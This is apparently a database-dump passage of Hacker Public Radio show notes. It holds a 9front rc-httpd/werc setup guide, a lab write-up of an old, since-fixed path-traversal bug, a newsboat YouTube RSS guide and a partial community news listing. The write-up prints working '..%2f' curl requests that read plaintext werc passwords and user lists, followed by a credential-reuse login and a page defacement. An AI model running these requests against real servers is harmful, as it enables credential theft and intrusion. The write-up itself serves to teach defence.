&lt;ExampleUser&gt; installed for Plan 9\n</code></pre>\n<h3 id=\"configure-permissions\">Configure permissions</h3>\n<p><code>/lib/ndb/auth</code> is similar to a <code>/etc/sudoers</code>. This configuration for the new user allows him to execute commands as other users <em>except</em> for the <code>sys</code> and <code>adm</code> users (but sys and adm are more like groups but who cares).</p>\n<p>append to <code>/lib/ndb/auth</code></p>\n<pre class=\"sh\"><code>hostid=&lt;ExampleUser&gt;\n    uid=!sys uid=!adm uid=*\n</code></pre>\n<p>then reboot</p>\n<h3 id=\"test-if-it-worked-with-drawterm\">Test if it worked with drawterm</h3>\n<p>The 9front version of drawterm must be used as it supports the better crypto in 9front. Other drawterm versions probably won\'t work.</p>\n<pre class=\"sh\"><code>$ /opt/drawterm -u &lt;ExampleUser&gt; -h example.com -a example.com -r ~/\n</code></pre>\n<h2 id=\"configure-rc-httpd\">Configure rc-httpd</h2>\n<p>edit <code>/rc/bin/rc-httpd/select-handler</code></p>\n<p>this file is something like <code>/etc/httpd.conf</code> on a UNIX system.</p>\n<pre class=\"sh\"><code>#!/bin/rc\nPATH_INFO=$location\n\n        switch($SERVER_NAME) {\n        case example.com\n               FS_ROOT=/sys/www/$SERVER_NAME\n               exec static-or-index\n\n        case *\n              error 503\n}\n</code></pre>\n<p>To listen on port 80 and run the handler on port 80:</p>\n<pre class=\"sh\"><code>cpu% cp /rc/bin/service/!tcp80 /rc/bin/service/tcp80\ncpu% chmod +x /rc/bin/rc-httpd/select-handler\n</code></pre>\n<p>Reboot and test.</p>\n<h3 id=\"ssl\">SSL</h3>\n<p>I will never give money to the CA racket. Self-signed is the way to go on systems that don\'t support <a href=\"https://acme.sh\">acme.sh, the only ACME client I use for obtaining free SSL certs.</a></p>\n<p>Generate and install:</p>\n<pre class=\"sh\"><code>cpu% ramfs -p\ncpu% cd /tmp\ncpu% auth/rsagen -t &#39;service=tls role=client owner=*&#39; &gt; key\ncpu% chmod 600 key\ncpu% cp key /sys/lib/tls/key\ncpu% auth/rsa2x509 &#39;C=US CN=example.com&#39; /sys/lib/tls/key | auth/pemencode CERTIFICATE &gt; /sys/lib/tls/cert\ncpu% mkdir /cfg/$sysname\ncpu% echo &#39;cat /sys/lib/tls/key &gt;&gt; /mnt/factotum/ctl&#39; &gt;&gt; /cfg/$sysname/cpustart\n</code></pre>\n<p>Now add a listener in <code>/rc/bin/service/tcp443</code>:</p>\n<pre class=\"sh\"><code>#!/bin/rc\nexec tlssrv -c /sys/lib/tls/cert -l /sys/log/https /rc/bin/service/tcp80 $*\n</code></pre>\n<p>And make it executable:</p>\n<pre class=\"sh\"><code>cpu% chmod +x /rc/bin/service/tcp443\n</code></pre>\n<h2 id=\"install-and-configure-werc\">Install and configure werc</h2>\n<pre class=\"sh\"><code>cpu% cd\ncpu% mkdir /sys/www &amp;&amp; cd www\ncpu% hget http://werc.cat-v.org/download/werc-1.5.0.tar.gz  &gt; werc-1.5.0.tgz\ncpu% tar xzf werc-1.5.0.tgz\ncpu% mv werc-1.5.0 werc\n\n# ONLY DO THIS IF YOU *MUST* RUN THE THINGS THAT ALLOW WERC TO WRITE TO DISK\n# EG. DIRDIR, BLAGH, ETC\n# DON&#39;T DO THIS, JUST USE DRAWTERM OVER THE NETWORK\n# HTTP CLIENTS SHOULD NEVER BE ALLOWED TO WRITE TO DISK\n# PLEASE I BEG YOU\ncpu% cd .. &amp;&amp; for (i in `{du www | awk &#39;{print $2}&#39;}) chmod 777 $i\n\ncpu% cd werc/sites/\ncpu% mkdir example.com\ncpu% mv default.cat-v.org example.com\n</code></pre>\n<p>now re-edit <code>/rc/bin/rc-httpd/select-handler</code></p>\n<pre class=\"sh\"><code>#!/bin/rc\nWERC=/sys/www/werc\nPLAN9=/\nPATH_INFO=$location\nswitch($SERVER_NAME){\ncase cirno\n        FS_ROOT=$WERC/sites/$SERVER_NAME\n        exec static-or-cgi $WERC/bin/werc.rc\ncase *\n        error 503\n}\n</code></pre>\n<p>Test the website. Werc is fiddly. Werc is archaic. Werc is fun.</p>\n<hr />\n<h1 id=\"path-traversal-vulnerabilities-in-old-versions-of-rc-httpd\">Path traversal vulnerabilities in old versions of rc-httpd</h1>\n<p>Using release <a href=\"https://9front.org/releases/2021/07/18/0/\">COMMUNITY VS INFRASTRUCTURE</a>, an old release with old rc-httpd, I have done the above steps. In current releases this bug no longer exists. Use current releases.</p>\n<h2 id=\"the-vulnerability\">The vulnerability</h2>\n<pre class=\"sh\"><code># get list of werc admin users\n[root@localhost]# curl http://cirno/..%2f..%2f/etc/users/admin/members\npwn\n# get that werc user&#39;s password\n[root@localhost]# http://cirno/..%2f..%2f/etc/users/pwn/password\nsupersecret\n</code></pre>\n<p>Wait, the passwords for werc are stored in plain text? Let\'s log in</p>\n<pre class=\"sh\"><code>[root@localhost]# firefox http://cirno/_users/login\n</code></pre>\n<p>Now let\'s see if any of the werc users are also system users:</p>\n<pre class=\"sh\"><code># let&#39;s enumerate users\n[root@localhost]# curl http://cirno/..%2f..%2f..%2f..%2f..%2f..%2f/adm/users\n-1:adm:adm:glenda,pwn\n0:none::\n1:tor:tor:\n2:glenda:glenda:\n3:pwn:pwn:\n10000:sys::glenda,pwn\n10001:map:map:\n10002:doc::\n10003:upas:upas:glenda,pwn\n10004:font::\n10005:bootes:bootes:\n</code></pre>\n<p>Let\'s hope that no one is re-using credentials. Let\'s check just to be sure</p>\n<pre class=\"sh\"><code>$ PASS=supersecret /opt/drawterm -u pwn -h cirno -a cirno -G\ncpu% cat /env/sysname\ncirno\ncpu%\n</code></pre>\n<p><strong>This is what happens when you have path traversal vulnerabilities, an authentication vulnerability in your CMS, and share login/passwords</strong></p>\n<h2 id=\"how-the-static-or-cgi-handler-works\">How the static-or-cgi handler works</h2>\n<p>rc-httpd calls various <em>handler</em> scripts that decide what to do with requests. In the example configuration for werc, rc-httpd is instructed to call the <code>static-or-cgi</code> script.</p>\n<p>I will compile these archaic rc scripts into pseudo code for the listener.</p>\n<p>The <code>static-or-cgi</code> handler (the handler specified in the httpd config) is simple:</p>\n<pre class=\"sh\"><code>#!/bin/rc\ncgiargs=$*\n\nfn error{\n    if(~ $1 404)\n        exec cgi $cgiargs\n    if not\n        $rc_httpd_dir/handlers/error $1\n}\n\nif(~ $location */)\n    exec cgi $cgiargs\nif not\n    exec serve-static\n</code></pre>\n<ol>\n<li>If the requested file exists, call the <code>cgi</code> handler and pass it arguments.</li>\n<li>If the requested file does not exist, call the <code>serve-static</code> handler.</li>\n</ol>\n<h2 id=\"how-the-serve-static-handler-works\">How the serve-static handler works</h2>\n<p>The problem lies in the <code>serve-static</code> handler:</p>\n<pre class=\"sh\"><code>#!/bin/rc\nfull_path=`{echo $&quot;FS_ROOT^$&quot;PATH_INFO | urlencode -d}\nfull_path=$&quot;full_path\nif(~ $full_path */)\n    error 503\nif(test -d $full_path){\n    redirect perm $&quot;location^&#39;/&#39; \\\n        &#39;URL not quite right, and browser did not accept redirect.&#39;\n    exit\n}\nif(! test -e $full_path){\n    error 404\n    exit\n}\nif(! test -r $full_path){\n    error 503\n    exit\n}\ndo_log 200\nswitch($full_path){\ncase *.html *.htm\n        type=text/html\ncase *.css\n        type=text/css\ncase *.txt *.md\n        type=text/plain\ncase *.jpg *.jpeg\n        type=image/jpeg\ncase *.gif\n        type=image/gif\ncase *.png\n        type=image/png\ncase *\n        type=`{file -m $full_path}\n}\nif(~ $type text/*)\n    type=$type^&#39;; charset=utf-8&#39;\nmax_age=3600    # 1 hour\necho &#39;HTTP/1.1 200 OK&#39;^$cr\nemit_extra_headers\necho &#39;Content-type: &#39;^$type^$cr\necho &#39;Content-length: &#39;^`{ls -l $full_path | awk &#39;{print $6}&#39;}^$cr\necho &#39;Cache-control: max-age=&#39;^$max_age^$cr\necho $cr\nexec cat $full_path\n</code></pre>\n<ol>\n<li>encode the full file path into a url</li>\n<li>if the url points to a file outside of <code>\'*/\'</code>, the document root, error 503</li>\n<li>if the url is broken, exit</li>\n<li>if the url points to a file that neither exists nor is readable, error 503</li>\n<li>if you haven\'t exited by now, serve the file</li>\n</ol>\n<p>The problem is no sanitization. The script checks for files in the current directory <em>BUT NOT BEFORE ENCODING THE URL STRING</em>.</p>\n<p>The urlencode command works by decoding encoded characters.</p>\n<pre class=\"sh\"><code>cpu% echo &#39;http://cirno/..%2f&#39; | urlencode -d\nhttp://cirno/../\n</code></pre>\n<p>Does <code>../</code> exist in <code>*/</code> ? the answer is yes.</p>\n<p><code>..</code> is a directory contained inside of <code>*/</code></p>\n<p><code>*/../</code> <em>is</em> the current working directory.</p>\n<h2 id=\"how-they-fixed-it\"><a href=\"ttps://git.9front.org/plan9front/plan9front/241667b933ff5bacb9a3974f6877fb8aad78bed3/commit.html\">How they fixed it</a></h2>\n<p>Adding a sanitizer. By comparing the encoded url against an actual hypothetical file path and exiting if there is a mismatch, all %2f funny business is avoided.</p>\n<hr />\n<h1 id=\"other-optional-bad-config-options-in-werc\">Other (optional) bad config options in werc</h1>\n<p>rc-httpd aside, a bad werc config can still lead to website defacement if your non rc-httpd webserver has a path traversal vulnerability.</p>\n<p>Additionally I have modified the DAC for /sys/www to allow werc, a child process of <code>rc-httpd</code> to write to disk. rc-httpd runs as the <code>none</code> user so it\'s not typically allowed to write to disk unless explicitly permitted. I do not allow this on my 9 webserver because it\'s the worst idea in the history of all time ever.</p>\n<p>I enabled the dirdir and blagh modules as if I were the type of admin who does a <code>chmod -R 777 /var/www/htdocs</code> because <q>that\'s what the wordpress installation guide told me to do so I could have a cool and easy way to modify my website from the browser.</q></p>\n<p>Let\'s pretend that I\'m not the admin of this system and scrape the werc config just to see if the hypothetical <em>badmin</em> has these modules enabled.</p>\n<pre class=\"sh\"><code># get config\n[root@localhost]# curl http://cirno/..%2f..%2f/sites/cirno/_werc/config\nmasterSite=cirno\nsiteTitle=&#39;Werc Test Suite&#39;\nconf_enable_wiki\nwiki_editor_groups admin\n</code></pre>\n<p>Hmmm, looks like these modules are enabled so we can assume that httpd is allowed to write to disk. Let\'s modify <code>cirno/index.md</code> to warn the admin. As a funny joke. Totally not a crime under the Computer Fraud and Abuse Act. Totally not an inappropriate way to warn admins about a vulnerability.</p>\n<pre class=\"sh\"><code>[root@localhost]# curl -s cirno | pandoc --from html --to plain\nquotes | docs | repo | golang | sam | man | acme | Glenda | 9times |\nharmful | 9P | cat-v.org\n\nRelated sites: | site updates | site map |\n\nWerc Test Suite\n\n-   &#x203A; apps/\n-   &#x203A; titles/\n\nSECURITY ADVISORY:\n\nlol this guy still hasn&#39;t figured out the ..%2f trick\n\nPowered by werc\n</code></pre>\n<h2 id=\"modifying-werc-to-support-password-hashing\">Modifying werc to support password hashing</h2>\n<p>Adding password hashes isn\'t too difficult. Being constrained by time, I have not done this quite yet. Reading the source code, all it takes is modifying 2 werc scripts: <code>bin/werclib.rc</code> and <code>bin/aux/addwuser.rc</code></p>\n<pre class=\"sh\"><code>% echo &#39;supersecret&#39; | sha1sum -2 512\n</code></pre>\n<hr />\n<h1 id=\"private-namespaces-to-the-rescue\">Private namespaces to the rescue</h1>\n<p>Luckily enough, the webserver runs as the <code>none</code> user with it\'s own namespace.</p>\n<h2 id=\"comparing-the-hostowners-namespace-and-none-users-namespace\">Comparing the hostowner\'s namespace and none user\'s namespace</h2>\n<p>I grab the namespace from the system console (ie not from drawterm) and from the listen command, then run a diff (unix style) to show the differences.</p>\n<pre class=\"sh\"><code>cpu% ns | sort &gt; cpu.ns\ncpu% ps -a | grep -e &#39;listen.*80&#39; | grep -v grep\nnone            355    0:00   0:00      132K Open     listen [/net/tcp/2 tcp!*!80]\ncpu% ns 355 | sort &gt; listen.ns\ncpu% diff -u listen.ns cpu.ns\n--- listen.ns\n+++ cpu.ns\n@@ -6,17 +6,29 @@\n bind  /amd64/bin /bin\n bind  /mnt /mnt\n bind  /mnt/exportfs /mnt/exportfs\n+bind  /mnt/temp/factotum /mnt/factotum\n bind  /n /n\n bind  /net /net\n bind  /root /root\n+bind -a &#39;#$&#39; /dev\n bind -a &#39;#I&#39; /net\n+bind -a &#39;#P&#39; /dev\n+bind -a &#39;#S&#39; /dev\n bind -a &#39;#l&#39; /net\n+bind -a &#39;#r&#39; /dev\n+bind -a &#39;#t&#39; /dev\n+bind -a &#39;#u&#39; /dev\n+bind -a &#39;#u&#39; /dev\n bind -a &#39;#&#xA4;&#39; /dev\n bind -a &#39;#&#xB6;&#39; /dev\n+bind -a &#39;#&#x3C3;/usb&#39; /dev\n+bind -a &#39;#&#x3C3;/usbnet&#39; /net\n bind -a /rc/bin /bin\n bind -a /root /\n+bind -b &#39;#k&#39; /dev\n bind -c &#39;#e&#39; /env\n bind -c &#39;#s&#39; /srv\n+bind -c /usr/pwn/tmp /tmp\n cd /usr/pwn\n mount -C &#39;#s/boot&#39; /n/other other\n mount -a &#39;#s/boot&#39; /\n@@ -26,4 +38,4 @@\n mount -a &#39;#s/slashmnt&#39; /mnt\n mount -a &#39;#s/slashn&#39; /n\n mount -aC &#39;#s/boot&#39; /root\n-mount -b &#39;#s/factotum&#39; /mnt\n+mount -b &#39;#s/cons&#39; /dev\n</code></pre>\n<p>The major difference is that the hostowner (equivalent to root user) has a lot more things bound to his namespace:</p>\n<ul>\n<li>\'#$\' PCI interfaces</li>\n<li>\'#P\' APM power management</li>\n<li>\'#S\' storage devices</li>\n<li>\'#r\' realtime clock and nvram</li>\n<li>\'#t\' serial ports</li>\n<li>\'#u\' USB</li>\n<li>\'#&#x3C3;\' /shr global mountpoints</li>\n<li>\'#k\' keyboard</li>\n<li>/tmp directories</li>\n<li>\'#s\' various special files relating to services</li>\n</ul>\n<p>The <code>listen</code> process in question is fairly well isolated from the system. Minimal system damage can be caused by pwning a process owned by <code>none</code>.</p>\n<hr />\n<h1 id=\"closing\">Closing</h1>\n<p>An argument could be maid that the rc-httpd vulnerability was \"not a bug\" because \"namespaces are supposed to segregate the system\".</p>\n<p>I disagree on this point. Namespaces are good and all but security is a multi-layer thing. Relying on a single security feature to save your system means relying on a single point of failure. Chroot escapes, namespace escapes, container escapes, and VM escapes are all things we need to be thinking about when writing software that touches the internet. Although unlikely, getting pwnd in spite of these security methods is still possible; <em>all</em> user input is dangerous and <em>all</em> user input that becomes remote code execution <em>always</em> results in privilege escalation no matter how secure you think your operating system is. Each additional layer of security makes it harder for attackers to get into the system.</p>\n<p>For example, when I write PHP applications, I consider things in this order:</p>\n<ol>\n<li>don\'t pass unnecessary resources into the document root via symlinks, bind mounts, etc.</li>\n<li>never ever use <code>system()</code> in a context where user input can ever be passed to the function in order to avoid shell escapes</li>\n<li>sanitize all user input depending on context. Ex: if the PHP program is directly referencing files, make a whitelist and compare requests to this whitelist. If the PHP process is writing to a database, use prepared statements.</li>\n<li>fire up a kali linux vm and beat the test server half to death</li>\n<li>iterate upon my ignorance</li>\n<li>doubly verify DAC just to be sure</li>\n<li>re-check daemon configs to make sure I\'m not doing anything stupid</li>\n<li>FINALLY: rely on SELinux or OpenBSD chroots (depending on prod env) to save me if all else failed</li>\n</ol>\n<p>And of course the other things like firewalls (with whitelists for ports and blacklists for entire IP address blocks), key based ssh authentication, sshd configurations that don\'t make it possible to enumerate users, rate limiters, etc.</p>\n<p>Each layer of security is like a filter. If you have enough layers of filters it would take an unrealistic amount of force to push water through this filter. Although no system is perfectly safe from three letter agencies, a system with multiple layers of security is typically safe from drive-by attacks.</p>\n<p>Final exercise: intentionally write a php script that does path traversal. Run this on a system with SELinux. Try to coax <code>/etc/passwd</code> out of the server. Now try <code>php-fpm</code> instead of <code>mod_php</code> or vice-versa. You\'ll be surprised when even MAC doesn\'t protect your system.</p>\n<p>Even now, after spending almost a month and a half worth of after work hacker hours almost exclusively on 9, I enjoy it more than when I began and even more than when using it in semi-regular spurts in years past. The purpose of research operating systems is to perform research, be it about the design of the system otherwise. Where would we be without private namespaces? How can I use this idea in the real world? What would the world look like if we had <em>real</em> distributed computing instead of web browsers (which are the new dumb terminal)? Is there a use case for this in the real world? What can we learn from single layer security models? What can we do to improve the system?</p>\n<p>Plan 9 is perfect for this type of research. I\'m considering writing an httpd in C and a werc-like (minus the parts I don\'t like) in C and modifying the namespace for the listener so that I can run a webserver on 9 without pulling in /bin in order to reduce the possibility of a shell escape.</p>\n<p>I think that in order to improve ourselves, we must be critical of ourselves. We must be critical of the things we enjoy in order to improve them and learn something new in the process. For software especially, there is no such thing as perfection, only least bad. And my final thought:</p>\n<blockquote>\n<p>Criticism: This program/OS/whatever sucks</p>\n</blockquote>\n<blockquote>\n<p>Response: I know, help me fix it.</p>\n</blockquote>\n',406,0,1,'CC-BY-SA','Plan 9, private namespaces, security, research operating systems',0,0,1),
(3695,'2022-09-30','How I watch youtube with newsboat',663,'Using youtube\'s channel RSS feeds to watch youtube from the command line','<h1 id=\"how-i-watch-youtube-with-newsboat\">How I watch youtube with <code>newsboat</code></h1>\n<p>I find that the youtube web ui is designed to keep users on the site by feeding them an unending stream of information. Bright colors, distracting thumbnails, peanut galleries, etc. I prefer to consume my videos in the same way I consume everything else: via RSS.</p>\n<p>RSS is my favorite way of aggregating things that other people have made because it allows me, the user, to interact with their things</p>\n<p>The only dependencies not on a standard UNIX system are <code>newsboat</code> and a video player. I also use <code>yt-dlp</code> to download videos for later viewing. I like <code>mpv</code> but you can substitute your own.</p>\n<pre><code>$ sudo $pkgmrg install newsboat mpv yt-dlp</code></pre>\n<h1 id=\"getting-rss-feeds-from-youtube\">Getting RSS feeds from youtube</h1>\n<p>Youtube (currently) provides RSS feeds for channels.</p>\n<h2 id=\"finding-youtube-channel-id\">Finding Youtube channel ID</h2>\n<p>Sometimes channels have vanity URLs that can make it difficult to find the channel ID. Other times, the URL contains the channel ID. All youtube channel IDs start with the string <code>UC</code> so we can easily grep for them.</p>\n<pre><code>$ curl https://www.youtube.com/c/RMCRetro | grep --color &quot;href=\\&quot;https://www.youtube.com/channel/UC\\&quot;&quot;\n[ lots of nonsense ]\nhref=&quot;https://www.youtube.com/channel/UCLEoyoOKZK0idGqSc6Pi23w&quot;\n[ lots of nonsense ]</code></pre>\n<p>In order to turn this channel ID into something useful, we create the following URL:</p>\n<pre><code>https://www.youtube.com/feeds/videos.xml?channel_id=UCLEoyoOKZK0idGqSc6Pi23w</code></pre>\n<p><a href=\"https://takeout.google.com/\">Google takeout can also be used to export youtube subscriptions.</a></p>\n<p>The export format is a CSV that contains the channel IDs for all of our subscriptions.</p>\n<pre><code>Channel Id,Channel Url,Channel Title\nUCLEoyoOKZK0idGqSc6Pi23w,http://www.youtube.com/channel/UCLEoyoOKZK0idGqSc6Pi23w,RMC - The Cave</code></pre>\n<h1 id=\"newsboat-url-list\">Newsboat url list</h1>\n<p>Newsboat reads it’s list of URLs from <code>~/.config/newsboat/urls</code>. Every url we add to this list will be automaticlly fetched. You can make separate URL lists for your list of videos and list of standard text based RSS feeds</p>\n<p>If you have an exported CSV, you can easily modify it so that newsboat will accept it as a list of URLs by deleting row 1, column 1+comma, and replacing the comma between the URL and channel name with a tab character. Doing a <code>sed \'s/channel\\//feeds\\/videos.xml?channel_id=/g\'</code> on the file is an easy way to replace the website URL with the feed url. Newsboat only reads the first field of every row so the channel name can be kept for easier subscription management.</p>\n<pre><code>http://www.youtube.com/feeds/videos.xml?channel_id=UCLEoyoOKZK0idGqSc6Pi23w     RMC - The Cave</code></pre>\n<h1 id=\"newsboat-config\">Newsboat config</h1>\n<p>In order to play videos, we need to add some macros to the newsboat config file at <code>~/.config/newsboat/config</code></p>\n<p>Mine looks like this.</p>\n<pre><code># load URLS on launch\nauto-reload  yes\n\n# vim binds\nbind-key j down\nbind-key k up\nbind-key j next articlelist\nbind-key k prev articlelist\nbind-key J next-feed articlelist\nbind-key K prev-feed articlelist\nbind-key G end\nbind-key g home\nbind-key d pagedown\nbind-key u pageup\nbind-key l open\nbind-key h quit\nbind-key a toggle-article-read\nbind-key n next-unread\nbind-key N prev-unread\nbind-key D pb-download\nbind-key U bashow-urls\nbind-key x pb-delete\n\n# macro setup\nbrowser linkhandler\nmacro , open-in-browser\n\n# launch video player\nmacro v set browser &quot;setsid -f mpv&quot; ; open-in-browser ; set browser linkhandler\n\n# download video\nmacro d set browser &quot;yt-dlp&quot;; open-in-browser ; set browser linkhandler\n\n# download audio only\nmacro a set browser &quot;yt-dlp --embed-metadata -xic -f bestaudio/best&quot; ; open-in-browser ; set browser linkhandler</code></pre>\n<h1 id=\"video-demo\">Video demo</h1>\n<p>This is a demo of using newsboat with videos. In order to execute the macros, you type <code>,</code> then <code>v</code> or whatever other letter you set the macro to.</p>\n<p><a href=\"https://hackerpublicradio.org/eps/hpr3695/newsboat.webm\">video in webm format</a> your web browser or operating system does not support free video codecs :(</p>\n<h1 id=\"a-url-list-to-get-you-started\">A url list to get you started</h1>\n<pre><code>https://www.youtube.com/feeds/videos.xml?channel_id=UC3ts8coMP645hZw9JSD3pqQ        Andreas Kling\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UC9-y-6csu5WGm29I7JiwpnA        Computerphile\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UC15BJjhPr4d5gTClhmC4HRw        Elliot Coll\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCxQKHvKbmSzGMvUrVtJYnUA        Learn Linux TV\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCm9K6rby98W8JigLoZOh6FQ        LockPickingLawyer\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCl2mFZoRqjw_ELax4Yisf6w        Louis Rossmann\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UC2eYFnH61tmytImy1mTYvhA        Luke Smith\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UC7YOGHUfC1Tb6E4pudI9STA        Mental Outlaw\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCjFaPUcJU1vwk193mnW_w1w        Modern Vintage Gamer\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCLEoyoOKZK0idGqSc6Pi23w        RMC - The Cave\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UC4rqhyiTs7XyuODcECvuiiQ        Scott The Woz\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UC5I2hjZYiW9gZPVkvzM8_Cw        Techmoan\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCy0tKL1T7wFoYcxCe0xjN6Q        Technology Connections\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UC8uT9cgJorJPWu7ITLGo9Ww        The 8-Bit Guy\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UC5UAwBUum7CPN5buc-_N1Fw        The Linux Experiment\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCFMx-JitepTttWc-ABHhu8A        This Week in Retro\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCsnGwSIHyoYN0kiINAGUKxg        Wolfgang&#39;s Channel\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCJ8V9aiz50m6NVn0ix5v8RQ        decino                </code></pre>\n',406,0,1,'CC-BY-SA','newsboat, RSS, youtube',0,0,1),
(3956,'2023-10-02','HPR Community News for September 2023',2470,'HPR Volunteers talk about shows released and comments posted in September 2023','<style>\ntable td.shrink {\n    white-space:nowrap\n}\nhr.thin {\n    border: 0;\n    height: 0;\n    border-top: 1px solid rgba(0, 0, 0, 0.1);\n    border-bottom: 1px solid rgba(255, 255, 255, 0.3);\n}\n</style>\n\n<h2>New hosts</h2>\n<p>\nWelcome to our new hosts: <br />\n\n    <a href=\"https://hackerpublicradio.org/correspondents/0423.html\" target=\"_blank\">Noodlez</a>, \n    <a href=\"https://hackerpublicradio.org/correspondents/0424.html\" target=\"_blank\">hobs</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n<tr>\n<th>Id</th>\n<th>Day</th>\n<th>Date</th>\n<th>Title</th>\n<th>Host</th>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3935/index.html\" target=\"_blank\">3935</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-09-01</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3935/index.html\" target=\"_blank\">Server build retrospective</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0382.html\" target=\"_blank\">Daniel Persson</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3936/index.html\" target=\"_blank\">3936</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-09-04</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3936/index.html\" target=\"_blank\">HPR Community News for August 2023</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0159.html\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3937/index.html\" target=\"_blank\">3937</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-09-05</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3937/index.html\" target=\"_blank\">Adventures in Pi-Hole</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0423.html\" target=\"_blank\">Noodlez</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3938/index.html\" target=\"_blank\">3938</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-09-06</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3938/index.html\" target=\"_blank\">An open directory of web audio stream</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0399.html\" target=\"_blank\">dnt</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3939/index.html\" target=\"_blank\">3939</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-09-07</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3939/index.html\" target=\"_blank\">How I got into tech and hacking</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0149.html\" target=\"_blank\">Trixter</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3940/index.html\" target=\"_blank\">3940</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-09-08</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3940/index.html\" target=\"_blank\">Equipment Maintenance</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3941/index.html\" target=\"_blank\">3941</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-09-11</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3941/index.html\" target=\"_blank\">Interview with Yosef Kerzner</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0036.html\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3942/index.html\" target=\"_blank\">3942</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-09-12</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3942/index.html\" target=\"_blank\">RE: How to make friends.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3943/index.html\" target=\"_blank\">3943</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-09-13</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3943/index.html\" target=\"_blank\">Why my Dell does it better on Linux.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0111.html\" target=\"_blank\">knightwise</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3944/index.html\" target=\"_blank\">3944</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-09-14</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3944/index.html\" target=\"_blank\">Race for the Galaxy</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0364.html\" target=\"_blank\">Tuula</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3945/index.html\" target=\"_blank\">3945</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-09-15</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3945/index.html\" target=\"_blank\">My chrome plugins</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0382.html\" target=\"_blank\">Daniel Persson</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3946/index.html\" target=\"_blank\">3946</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-09-18</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3946/index.html\" target=\"_blank\">Planning for a planner, part 02.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3947/index.html\" target=\"_blank\">3947</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-09-19</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3947/index.html\" target=\"_blank\">Archiving Floppy Disks</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0334.html\" target=\"_blank\">Steve Saner</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3948/index.html\" target=\"_blank\">3948</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-09-20</td>\n<td><a 